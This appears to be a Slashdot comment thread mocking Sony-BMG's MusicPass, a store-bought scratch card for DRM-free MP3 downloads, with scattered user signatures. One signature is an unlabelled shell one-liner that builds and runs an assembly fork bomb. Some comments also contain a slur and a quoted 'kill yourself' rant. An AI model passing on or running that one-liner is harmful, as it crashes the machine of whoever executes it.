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Sony's Idea of DRM-Free Music
edmicman writes "Leave it to Sony to mess up DRM-free music downloads. What is the point of DRM-free tracks if you still have to go to a retail store to buy them? From the Infoworld article: 'The tracks will be offered in MP3 format, without DRM, from Jan. 15 in the U.S. and from late January in Canada... The move is far from the all-digital service offered by its rivals, though. To obtain the Sony-BMG tracks, would-be listeners will first have to go to a retail store to buy a Platinum MusicPass, a card containing a secret code, for a suggested retail price of $12.99. Once they have scratched off the card's covering to expose the code, they will be able to download one of just 37 albums available through the service, including Britney Spears' "Blackout" and Barry Manilow's "The Greatest Songs of the Seventies."'"
Has lots of DRM free sony downloads, without any of that hassle of going to a store :)
coming soon to a bittorrent client near you...
MP3 Search Engine
And in a few months time, they'll evaluate and state that the consumers aren't ready yet for DRM-free music.
With such quality music, how is it possible they're losing market share??!
What a load of bollocks, so I go in-store, and instead of purchasing the CD and ripping them myself, I get a lower quality version already ripped.. wait a minute... this is going to be cheaper right?
Some other shops have got it right, like my local Virgin Megastore who let you pick any cd or 7/12", scan the barcode at a listening station and listen to it before I buy the physical cd... if I can't even do this in their stores, then they've got the completely wrong idea and are so disconnected from their own customers that I really feel quite sorry for them.
instead of going into the retail store, turning right and picking up the platinum pass, I'm going to turn left and pick up the CD.
Summation 2
I dunno, I'd pay to hear a Britney cover of "Wait for the Blackout". Particularly now she's a lot fucking crazier now than Dave Vanian ever was.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
http://adrinael.net/wrong2.jpg
Abandon All Hope, Ye Who Enter Here
There is no way, this could possibly fail.
I'll stay home and get the torrent with the FLAC files.
That is, if any music Sony put out was even worth downloading.
If you build it, nerds will come. Soylentnews.org
Barry Manilow fans of the world, rejoice!
[...] first have to go to a retail store [...] they will be able to download one of just 37 albums available through the service, including Britney Spears' "Blackout" and Barry Manilow's "The Greatest Songs of the Seventies."'"
Uhh... great artist selection, there. If I have to walk down to the retail store and then choose between Britney and Barry Manilow, I would rather save my hard-earned money.
Within a couple of months Sony will "accidentally" leak the sad numbers of their non-DRM trial to select members of the press, who will then write scathing opinion pieces about how the rampant piracy is so widespread that even removing DRM can't help the music industry.
--Bud
tried to design a HD movie distribution system.
Oh, bummer.
Britney Spears and Barry Manilow is a rootkit for the human brain.
Take the cheese to sickbay, the doctor should see it as soon as possible - B'Elanna Torres, "Learning Curve"
In contrast, online retailer Amazon.com offers 2.9 million DRM-free tracks in MP3 format from the catalogs of EMI Group, Warner Music Group, Universal Music and a host of independent record labels. Apple's iTunes Store has around 2 million DRM-free tracks in the AAC format supported by its iPod and many mobile phones. No store visit is necessary to download those tracks, and an album typically sells for $9.99 or less.
i don't think it's a smart move from sony.. but hey....at least there's not spyware in it...
So, they want me to go to a brick-and-mortar store and spend $12.99 to buy a secret code that will allow me to download MP3s of one album that I could have purchased at that same store for, um, $12.99. Nevermind the fact that even if the downloads are all ripped at over 256kbps they're nowhere near the over 720kbps I'm going to rip from the actual disk in .flac or .ogg, and once you've downsampled in a lossy format there really is no going back to full quality.
Yeah. Right.
My office has been taken over by iPod people.
... you can be tracked and you can be treated as a criminal!
Capitalism is the Opium of the Masses; Customer is King is the slogan.
a. DRM'd to the eyeballs compact discs are NOT Redbook audio. Please do not TRY and sell us something that isn't. Besides, it's illegal to attempt such activity.
2. I have no interest in media that will not play on my dyne:Bolic jukebox.
iii. I have no interest in "buying" digital content when I can get it from elsewhere at invariably better quality. Have you not heard of Monkeys Audio? FLAC? Shorten? I mean, MP3?? C'mon!
one vee: I have precisely zero interest in Britney Spears, Michael Jackson, Barry Manilow, or any of that other recycled and/or digitally enhanced crud you like to call music. Please, find some real talent. My sister sings (unfortunately for you she has zero interest in signing up with any of the Big4 companies), I have video of her performance this last Christmas, she brought the house down. Betcha feel sick now, eh?
Operation Guillotine is in effect.
- US and Canada only
- retail Brix-N-Mortar visit required
- Purchase a "Card with secret code"
- Card enables download of one album from a selection of 37 (another album means another visit and another card)
- TFA says "MP3 format" but for all you know it's encoded as mono@32kbps with literally zero info in the ID3 tags
- For all those hoops you just jumped through, not significantly cheaper than just purchasing the CD
- does this work on Linux? MacOS? BeOS? AmigaOS? (before you whine about "it's just a download" you've *all* had some site you went to where it simply did not work on "your OS and browser of choice")
Or you could read the short version: MultiNational MegaCorp with a History of fair-use violating DRM enforcement and downright corporate shenanigans (rootkit, anyone?) releases DRM-free program more difficult to operate than the-clock-on-your-vcr and of actual negative value to end-customers.Consensus seems to be that 6 months from now SonyBMG will issue an "I Told You So" press release claiming they went all out to allow DRM-free downloads and nobody wanted it.
Visit CryptoGnome in his home.
Just generate some SECRETE CODES
Oh. Wait...
Seven Days with Ubuntu Unity
Actually this sounds like some suppliers twisted Sony's arm in a failed attempt to keep the 'brick and mortar' style music store alive. I'm certain that the eventual failure of the 'pirate-friendly' mp3s is a pleasant side effect.
Kind of like how release dates for most games are tied to the physical retail releases.
Out of modpoints but really liked a post? 1BDkF6TtmmeZ3yqXbz9yhdYVqRYnwFoXDj
Did you mean:
"Just secrete some secret codes"?
Just -1, Troll talking to another.
I see what they're doing. By making people choose between Britney Spears and Barry Manilow they're attempting to prove that popular music is no worse now than it's ever been.
Blank until
Just when you thought Sony couldn't demonstrate any more incompetence in the marketplace...
Let's make our product:
* Hard to get
* More expensive than the (legal!) competition
* Packaged in bundles consumers don't want
* Install dangerous malware on our customers' computers (and get sued)
Sony once again proves adept at charting a beeline directly for the scrapheap of history. About what you'd expect from the company that thought up the "Ringle".
But about Derek Zoolander? He can't turn left.
Other than the fact that Sony is self-sabatoging their DRM-free sales.
Buy a card from a retail store? Fair enough. That seems reasonable.
Limited selection of music... well maybe they just want to test the waters. Although it sounds like the lack of quality (Britney Spears wasn't good even when she WAS good) may mean they are trying to purposefully set the program up for failure.
None of this is unreasonable to the customer, and I'd do it to buy legal, DRM-free music.
Except for the fact that this is Sony, which I have determined NEVER to give any money to again. These are the unrepentant bastards who infected millions of computers with rootkits (their executives should have gone to prison for that, but the corruption of the current government is for another discussion), put self destruct sequences in the Blu-Ray player specs, sell DVD's that won't play in many DVD players, shut down Lik-Sang, made digital music players that ONLY used a proprietary Sony music format, screwed the early adopters of HDTV (Blu-ray players won't work with non-drm'd inputs)...
Sony is a bunch of asshats. Fuckem.
Why on earth would I want to pay for that? Why on earth would I want to even p2p that? Why on earth does anyone think this is even music, let alone good music? Barry Manilow, otoh...
There is simply too much glass..
It means kids can buy them rather than having to rely on a credit card. They take up no shelf space so a lot of convenience stores can offer them rather than just record stores.
Folks that can't handle it, like obviously Sony-BMGs management, should really stay clear from an Absinthe bottle.
ich bin der musikant
mit taschenrechner in der hand
kraftwerk
Sony is trying to prop up the existing music distribution chain. Instead of going into Wal-Mart to buy a CD, you instead go there to buy a card. Either way, you still had to go to Wal-Mart to get your music. Obviously Wal-Mart will receive some sort of profit off of that sale, in lieu of profit off of an actual CD.
I don't know if this is good or bad. On one hand, it may keep a music section in retailers a bit longer, providing a place to walk in and lay hands on a physical album set. On the other hand, that extra middle-man keeps the cost of music slightly higher. I think this is a fairly responsible thing for Sony to do, because it will help prevent a drastic change which could be detrimental in the short term.
Dan East
Better known as 318230.
So you need to have internet access AND you need to go to the store in person? Ridiculous.
You are officially the first person on Slashdot to get modded up for expressing a desire to listen to Brittany Spears!
You know, there is a difference between trolling and pointing out the flaws in your reasoning. Just saying.
I think it's very obvious why the chose this solution.
The retail chains has many of the record companies by the nutsack since a vast amount of records and movies are sold through these chains. Also, I would speculate that those chains would object to Sony-BMG selling the music to the consumer directly.
Hence this "compromise".
I've got a better idea, if it's something you have to go to a store to get. They could put DRM-free lossless versions of the songs on small optical discs (they'd be cheap) that you buy at the counter, no codes or anything. They might even be able to get them to play in current portable music players. They'd be digital, of course. Maybe some other company has tried this before?
Leave it to Sony to provide exactly what the public does not want.
"Put your message in a modem, and throw it into the cyber-sea." - Rush
This is a smart move. Submitter doesn't know what he's talking about.
No sig today...
I'm guessing he means a 7.5", a reference I've seen before. But what *is* it?
The thinking is ok, but I'm not sure the people who came up with the idea work in the same building as the people who chose the content.
Look on the bright side though, Britney is now with Barry.
No sig today...
You're saying that Britney Spears in mp3 is worse than Britney Spears in flac? I don't think so.
Oh, and don't even ask what's worse - Britney Spears in mp3 or Britney Spears in wig... That's just rude.
These are the 37 titles (from http://gift.musicpass.com/):
The initial slate of Platinum MusicPass titles is as follows:
Platinum MusicPass Albums with Bonus Material (slrp $12.99):
Alejandro Fernandez, Viento A Favor
Alicia Keys, As I Am
Avril Lavigne, The Best Damn Thing
Backstreet Boys, UnBreakable
Barry Manilow, The Greatest Songs of the Seventies
Bob Dylan, Dylan
Boys Like Girls, Boys Like Girls
Brad Paisley, 5th Gear
Britney Spears, Blackout
Brooks & Dunn, Cowboy Town
Bruce Springsteen, Magic
Calle 13, Residente o Visitante
Camila, Todo Cambio
Carrie Underwood, Carnival Ride
Casting Crowns, The Altar and The Door
Celine Dion, Taking Chances
Chris Brown, Exclusive
Daughtry, Daughtry
Elvis Presley, Elvis 30 #1 Hits
Jennifer Lopez, Brave
John Mayer, Continuum
Kenny Chesney, Just Who I Am: Poets & Pirates
Martina McBride, Waking Up Laughing
P!nk, I'm Not Dead
Santana, Ultimate Santana
Sara Bareilles, Little Voice
Sean Kingston, Sean Kingston
The Fray, How To Save A Life
Three Days Grace, One-X
Tony Bennett, Duets
Platinum MusicPass Compilations (slrp $12.99)
Various, 70's POP HITS
Various, ROCK OF THE 70's
Various, SENSATIONAL 60's
Various, COUNTRY GOLD: THE 90's
Various, 80's POP HITS
Various, CLASSIC ROCK
Various, Everlasting Love
Expanded MusicPass Titles (slrp $19.99 versions which include the complete album, bonus material, plus choice of one additional album from that same artist's rich catalog of recordings.)
Kenny Chesney, Just Who I Am: Poets & Pirates
Celine Dion, Taking Chances
You could rather go to a music store and buy a CD, then convert it to MP3 using ripper software. Perfectly legal if it's for personal use (at least here in Sweden). Additionally, you have the choice to onvert the CD to a lossless format such as FLAC. If downloading DRM-free music requires you to go to town to buy some card, you'd rather buy a CD . About the same price, more possibilities. Or you could just ignore it all and just download torrents or whatever.
Advertising, marketing materials, designing the cards, aquiring them, distributing them, selecting the tracks, making them available...
You see an idea so clearly flawed, and the millions they put into it, it just maddening.
And it's a bit of a mandate on how out of touch with the consumers they are.
...to your post, and I got to "...Misspent youth with only AM radio."
I caught myself and thought - 'Wait, that doesn't sound right'
AND TRIED AGAIN!
Took me a few seconds before I realised it was your sig...
Seven Days with Ubuntu Unity
For your protection, the scratch off cards install a root kit in your pants.
Once installed you will only be able to listen to correctly licensed friends and associates.
How many Barry Manilow fans know what MP3 is?
I've calculated my velocity with such exquisite precision that I have no idea where I am.
Lets all meet up at a store and I'll buy the Manilow songs and then give you all free copies.
Can I bum a sig?
I swear I will never ever buy a Sony product again. No discs, no games, no console, no TV. Ok, I've bought more Yamaha, Sharp, Samsung, Bose, equipment but Sony are just trying to hard to have a place in my brain between the waffen ss and mike huckabee's son, so I'll gladly let them there and consider their products accordingly.
Sony have a nice video mp3 player which I am not buying as it would require installing Sony Software on my PC. Sorry Sony. You Blew It with your root kit.
http://davesboat.blogspot.com/
And still the PS/3 fanbois don't understand why it is BAD BAD BAD that blu-ray is winning.
There definitely might be research that shows the average Barry Manilow fan owns 2.4 cats, 1.7 Big Mouth Billy Bass Singing Fish, 7.2 beige polyester shirts and believes that using your credit card online can cause sterility...
Presumably, the initial list of albums is more of a systems test than a serious launch - you probably could get those on CD in a decent convenience store... but it does mean that the servers are unlikely to melt on day one, and they can let the cracker community test their security before putting the decent stuff up.
In a survey of 100 programmers, 111111 thought that duck-typing was a good idea.
this can only go one way...
i stopped being interested in sony ages ago, when their sales ppl didnt give the resolution of their tv's. (remember the flatscreen wega boxes). every other manufacturer had these specs on hand, except sulky, arrogant sony. this after mini disc, network walkman, memory stick, rootkit, blu ray, who really gives a shit and even buys their crap anymore?
Aren't there bears outside?
Before MP3's I wasn't into music that much. I remember when MP3's came on the scene years before the popular public had heard of them, ... downloading them by modem, this was before cable modems and DSL, it would take at least 15/20 minutes a song.
At first I just downloaded but naturally every year or so I'd get a crash or something would happen and I would lose my collection. All the current stuff you can find at decent quality but not necessarily stuff from two or five years back. And not all rips are the same so I eventually found myself just buying the CD's just to rip them myself at higher quality. I never bought CD's before this. I fell into the pattern of downloading the new stuff and buying at least 2/3 of the stuff within a couple years by shopping for used CD's in stores and online. Usually paying no more than like $7 a CD but remember that chances are I only like 2 songs on the disc. I buy my music, maybe not how the music industry would me to; but non the less I do, it's on my terms and it works for me.
Want do I want? Electronic per song transferable digital licenses. And with those access to the music companies online computers to download the music. And I want the FTC and FCC involved so that the licenses are locked in and guaranteed so that when the technology and protocols of the digital licenses change they are guaranteed transferable to the next technology. And songs are not locked into one account or device(as they are with apple), your free to sell and transfer the per song licenses to someone else in the free market. And it would be nice if the licenses covered all relatively close versions of the song sung by the same performer so they can't charge you again for acoustic, karaoke, different file formats, or higher bit quality. In other words you own the rights to listen to that song and your entitled to all versions of it. That would be worth something.
Let me get this straight.... you pay $12.99 at a physical store to choose ANY one of the 37 titles that are ONLY from Sony's online? Why not just buy a gift voucher so you can buy ANY CD from the physical store or just give cash so you can buy anything you want!
Again. That being said, it should be fun watching to see how long it takes for this to fail a miserable, painful death.
I eagerly await Sony's next great bad idea.
how do I put this...
oh yeah - - f*ck linux.
not developing software for a miniscule segment of the market does not put them in danger of of a geek-action suit...
Looking through the selections causes a certain reaction, PUKE!
90% of the offerings cause that reaction.
Need to puke again
Professional Politicians are not the solution, they ARE the problem.
You're missing the point of the physical cards.
Similar to Wii Points, XBox Live Cards and iTunes cards,
this is so that people without access to a charge card can still participate by paying cash money at a local merchant.
Not everyone has a credit card to use on the Internet.
-Patrick
"They never stop thinking about new ways to harm our country and our people, and neither do we."
The Fluendo MP3 decoder is legal and free (as in beer).
http://en.wikipedia.org/wiki/Fluendo
Get used to it, though. If blu-ray wins the HD format war, you're going to be seeing a *LOT* more aggressive DRM than this.
SJW: Someone who has run out of real oppression, and has to fake it.
friend of mine is releasing his latest album on vinyl, and the sleeve contains a password that allows the buyer to download the DRM-free songs from the publisher's website.
But they would be livid to the point of tears if their work was copied and sold commercially.
I can already hear the bellyaching...
I'd pay 12.99 just to NOT hear him ever again...Sony must really really WANT this to fail. Perhaps they're trying to generate some ammo for political talking points.
Pavlov wouldn't be so famous if he'd used a can opener instead of a bell.
Comment removed based on user account deletion
The slice of linux users who refuse to install mp3 support is a vanishingly small part of the market and deserves to be ignored.
The really important question that Sony shareholders should be asking is how this dimwitted marketing approach escaped into the wild. Even a team of newly minted MBAs wouldn't come up with something this limited without unrealistic constraints. I've been in boardrooms will a group of sharp 20-somethings, and they'd poke enough holes in this scheme to sink it within the first 90 seconds (partly because they are members of the download generation).
Therefore, I present the hypothesis that this marketing strategy was actually dreamed up a year or two ago. It seems that the constraints placed on the marketers were:1. Must involve the sale of physical product from a physical location (to allow retail markup)
2. Must target Boomers and older Gen X'ers by offering an extremely focused selection (although it's an inexplicable mix)
3. Must be priced >= physical media to avoid cannibalizing sales from CDs (which are purchased predominantly by the older adults this new strategy is targeting)
4. Must promote Sony through extensive branding on the card and a private-label download site. The target demographic should perceive this as something that no other label offers.
5. DRM-free, to generate excitement (although that buzz has been killed by other labels introducing their entire catalog as DRM-free media) and eliminate compatibility issues for a less than tech-savvy target market.
I suspect that this approach has been planned at Sony for a year or more, since there are a lot of collateral pieces required (site branding, backend software, etc). It might have looked like a moderately acceptable compromise back then, when the other majors hadn't jumped onto the DRM-free bandwagon. Now, it's inexcusable. I suspect that the corporate hierarchy at Sony doesn't encourage "turn on a dime" rethinks, because this initiative is something I'd kill instantly if I was the project's VP. It no longer fits the market.
... to buy the lossless CD, with box, cover art, booklet, resale rights, etc., for $11.99 (current price for the Manilow album at Amazon.com, for example) or most likely less if you shop around; download from iTunes for $12.99; or trek to the store, buy a special card, trek home again, and figure out where to go and what to do to download it from this new service, also for $12.99? [Or grab a high quality torrent for free, if you are that way inclined.]
And they act like they expect this to be successful.
As always, you(editorial) never carry the thought through that if a work can be so easily copied, the person copying it won't get very far trying to sell it. Only exclusivity of distribution goes up in smoke, as it should. All the available profits for a creator are still there... in the work itself. If somebody wants more of your work, be sure to get paid before releasing to anyone.
What?
So what's with the snark? Just because they make you go to a store and limit it to a few albums--both of which are astoundingly stupid--doesn't make it any less DRM-free.
Come on, slashdot... let's try, for a change, to have articles that don't make slashdotters sound as stupid as the people they are sanctimoniously ridiculing.
Store the music at the store you have to go to to redeem the stuff as .flac on the server. Select whatever the hell you want from the store's database. Pay sane price. Burn uncompressed music to CD that you can then re-encode whenever and however you see fit. The 'sane price' thing is the key here, mafiaa.
The music industry should simply provide that type of infrastructure to retailers. It would work for both brick and mortar as well as online. Use some intelligent method to sync between different locations to save bandwidth and storage.
It'd be a good patent, but unlikely to be anything that ever gets done.
There was quite a bit of great jazz out, not to mention Bob Dylan, Santana, a tonne of classical et al. But the best sounding stuff was their jazz catalog. While their classical was very poorly mastered, the jazz truly sparkled.
But you'll have to the vinyl to find the best examples in full analog...
Who is this delectable creature with an insatiable love of the dead?
But that's Sony in the old, consumer electronics focused days, before they were enslaved by their content arm. Steve Jobs, chairman and CEO of Apple Inc., is also the largest individual shareholder of The Walt Disney Company and a member of its board of directors. Are you sure that the same thing that happened to Sony Electronics after Sony Music and Sony Pictures won't happen to Apple should it merge with Disney?
It's also not their career, it's a hobby. I pirate with the best of 'em but your analogy is disingenuous.
HI, MY NAME IS ISAAC.
This is not analagous to "Wii Points" or XBox Live Cards, and only barely iTunes.
You see, by the time I'm in a store, they are charging just about exactly as much for this card as they are for the actual CD. The CD is better quality, and easier to use -- I honestly do not see why anyone would get the physical card.
Also, TFA claims that this is required. That would suggest that they're not providing an option for those of us who do have credit cards.
And finally, you don't necessarily need a credit card -- there are services like PayPal, and there are places that will let you mail a check.
Don't thank God, thank a doctor!
"Platinum MusicPass"
"By the way if anyone here is in advertising or marketing... kill yourself... You are the ruiner of all things good, seriously. No this is not a joke, you're going, 'there's going to be a joke coming,' there's no fucking joke coming. You are Satan's spawn filling the world with bile and garbage. You are fucked and you are fucking us. Kill yourself. It's the only way to save your fucking soul, kill yourself." -- Bill Hicks
Yeah, what's the point of DRM-free tracks if you still have to pay for them?
We've bee stuck at "Platinum" for too long. We used to have "Plus" and "Extra". Then "Pro" and "Extreme". Then we hit the elements with "Silver", "Gold", a strange detour through "Titanium" and then "Platinum". I think some companies used "Diamond".
How about:
MusicPass Beryllium
MusicPass Plutonium
MusicPass Upsidasium
MusicPass Unobtanium
MusicPass Neutronium
MusicPass Dilithium
MusicPass Polonium
MusicPass Tin Foil
MusicPass Mithril
Also, the whole "MusicPass" could be revised and- GODDAMMIT I HATE MARKETERS! I FUCKING HATE THEM!!!!! AAAAAAAAAAAA!
Hell, TPB recently added a music feature that gives info on the artist, reviews on the album, and links to any torrents they have for their other albums.
It's better to vote for what you want and not get it than to vote for what you don't want and get it.
- E. Debs
At least with these cards, if you steal them (actually the correct term here) it is merely a shoplifting fine and not a life ruining lawsuit for copyright infringement. And you get the songs in mp3 format the same in the end.
-- ssoorrrryy,, dduupplleexx sswwiittcchh oonn.. -Quote found on actual fortune cookie.
Offer me DRM free Britney Spears and Barry Manilow, and wonder why me (and many other geeks I'm sure, I'm fairly certain I have no friends who are fans of their music) are not buying...claim sales are low and use that as a justification to re-start DRM. Brillant Sony!
...in bed
and cumbersome joining method intended to show that there is no demand for non-DRM'ed music?
Noted futurist John Scalzi has an insightful analysis of the idea at http://scalzi.com/whatever/?p=280#comments
"Poor, stupid deluded Sony BMG.
"This MusicPass thing: six months at the outside."
He even predicts Sony invoking a variation of the Chewbaca Defense.
The new legal dept approved DRM-free mp3 process:
(1) You go to the store, pay for your mp3 album and get your finger prints, palm prints, hand geometry, retinal scans and iris scans taken.
(2) You mail off your legal name and address, passport number, drivers license number, and SSN to our criminal background check department.
(3) If everything checks out you get a code in the mail, that lets you download your chosen album with your name, address, identifying numbers and biometrics encoded in the watermarks, before being encrypted with our proprietary scheme.
(4) You download the decryption program (sorry, Vista only) from our support website.
(5) You call our toll free number, and give your code from the mail to our IVR which will give you the 24 digit code needed to unlock your album with the decryption program.
(6) Sit back and enjoy the 64Kb/sec mp3s on the player of your choice!
Ob. off-topic, for future reference: http://begthequestion.info/ Its misuse, although increasingly common, still makes one sound benighted. You decide.
Simple... By offering this they can then say, "See! We offered what they wanted, DRM free music, at no more than the cost of the CD, and they wouldn't buy it!"
I think their real thought pattern is:
They will then use this Edsel of a DRM-free music setup to try to get more laws passed forcing DRM onto CD players, computers, and other hardware. It's a straw man that they are setting up to convince the US government that we're all crooks. Of course, they never seem to grasp that locks are there to keep honest people honest. Any good thief will figure out a way around the locks on a house or safe, or around the DRM crap they want to push so hard. All it does is make it harder to do. The only issue they don't understand is that unlike the locks on my house, each person that wants to rob me has to break down the door. With DRM, once it's broken, it can be copied and "stolen" a million times. And will be as long as the pricing is so far out of line with what their customers are willing to pay.
- No matter how subtle the wizard, a knife between the shoulder blades really cramps his style.
Even so, however, that does not mean that the creation of this art fits the established definition of "labor."
I have two words for you.
Brill Building
ATRAC-only music players, CD rootkits, and now this? Sony is toast.
I didn't know that was your decision to make.
I beg you, can we please stop using this fucking expression? It makes you sound like a little faggot copycat bitch.
Don't try to pretend to be a spin doctor. You don't have the skills to turn theft into anything other that what it is: theft.
But what the hell, as long as it benefits you, right?
In fact the very definiton of an oxymoron:
Barry Manilow - "The Greatest Songs of the Seventies"
This is actually really pioneering - I didn't see it before, but now it's clear - Sony is transforming itself into an entirely new kind of entertainment company. Instead of a company that sells entertaining media, they are becoming a company that provides entertainment to people directly through executing ludicrous business strategies that make us all collectively laugh out a giant OMG! WTF?
What comes next? Another incompatible proprietary format? Once branch of the company suing another again? Their most anticipated and highly promoted new product suffering months of production delays, shortfalls, and finally no demand? More exploding batteries? We'll all be kept on the edge of our seats wondering what hilarity or calamity will befall them (or their customers) next. Sony's taking the already popular "reality entertainment" to the next level.
Can anyone tell me how to set my sig on Slashdot?
I wonder what would happen if you walked in to a store, grabbed some random music CD, got out of the store without paying for it, then walked back in and announced to the nearest person with a nametag, "Hi, I just ripped off this whole CD and am presenting myself for the consequences."
Would you have to pay the $9000+/track that the RIAA busted that lady for, or would it be some kind of Class C misdemeanor and you would pay some paltry fine and be on probation for 6 months?
Seems the risk is better if you actually, physically, literally steal the CD, than if you download it online in the form of an organized set of magnetic charge densities distributed on your hardrive.
But maybe 'risk' is not just based on 'consequences', but 'likelihood x consequences' ? So maybe not.
The cards have userid's. You use your userid to login and buy mp3's. It would be consistent for Sony to embed the userid in the MP3 so if leaked onto file sharing sites they could determine what userid was involved.
There are tons of other possibilities -- but requiring you to buy and use the purchased userid allows them to tie purchasers to a physical place: if not your house, then, at least where the userid was purchased -- where they could have your image recorded on the in-store CCTV cameras. Of course if you don't use cash, they would have your credit/debit card number.
What'cha expect... Benefit for them, hassle for us.
Hmm, let's see:
1. Sony makes gigantic announcement about DRM-free music.
2. DRM-free music is so limited and aggravating to acquire, people don't bother and continue buying DRM/pirating.
3. (Future) Sony scraps plan as "failure": goes back to DRMing all music, and references this "test" when people ask why they insist on DRM.
That argument eventually won favor with Apple [...]
You mean "that argument eventually won favor with EMI". Apple was MAKING that argument to the music industry before they even opened the iTunes Music store, according to the Rolling STone interview with Steve Jobs just a few months after the iTunes Music Store opened:
More recently, after EMI finally made the break:
Although the whole idea of having to go down to the store and buy a card is a bit lame, one cool thing is that you could buy several cards as 'gift cards' for whomever which would then allow them to download an album of their choice without ever having to leave home. That's the only positive thing I can think of, thus far. Oh, and if it does help the brick and mortar stores stay open a while longer, that's not entirely bad either, assuming the products they offer are quality, DRM free CDs. I still like to browse a CD store every now and then, although I'm typically looking for cheaper used CDs than anything else. A used CD rips just as good as a new one.
Seriously, I haven't had a laugh like this since don't know when:
they will be able to download one of just 37 albums available through the service, including Britney Spears' "Blackout" and Barry Manilow's "The Greatest Songs of the Seventies."If all else fails, pull the plug and get out...
The Life is out there...
I mean, would you accept the availability of low-cost stolen car stereos and GPS-devices as a valid argument for why the electronics manufacturers should lower their prices? The comparison is meaningless. If i buy a car stereo and you steal it, there is still only one car stereo around (and i'll probably end up buying another one). If i buy a cd and rip it and it gets on the internet, thousands of people can download it.
So car stereo manufacturers are not competing with stolen goods, while the music industry is competing with bittorrent and emule whether they like it or not.
It is foolish to devote so much effort to a product that is intrinsically free.
Music used to be always free, it was recording equipment that made it artificially valuable in a physical format.
Now music is free again (as it should, since it is after all a means of communication), trying to make a living based on stopping the spreading of air vibrations is silly, to say the least.
IANAL but write like a drunk one.
I also live in hope of hitting the jack pot, that does not mean I am entitled to it or that all the people hopping for this should buy (I should say bribe) legislators to enact laws that ensure we are compensated somehow.
IANAL but write like a drunk one.
We have two completely bodies of law, one for theft and one for copyright.
There is a reason for that and all your baseless fuming is not going to change that.
IANAL but write like a drunk one.
Take my wife (please)
Just let me know where and when.
If I don't like her I can dump her here also.
IANAL but write like a drunk one.
So you would be better adviced not to disparage him or her....
IANAL but write like a drunk one.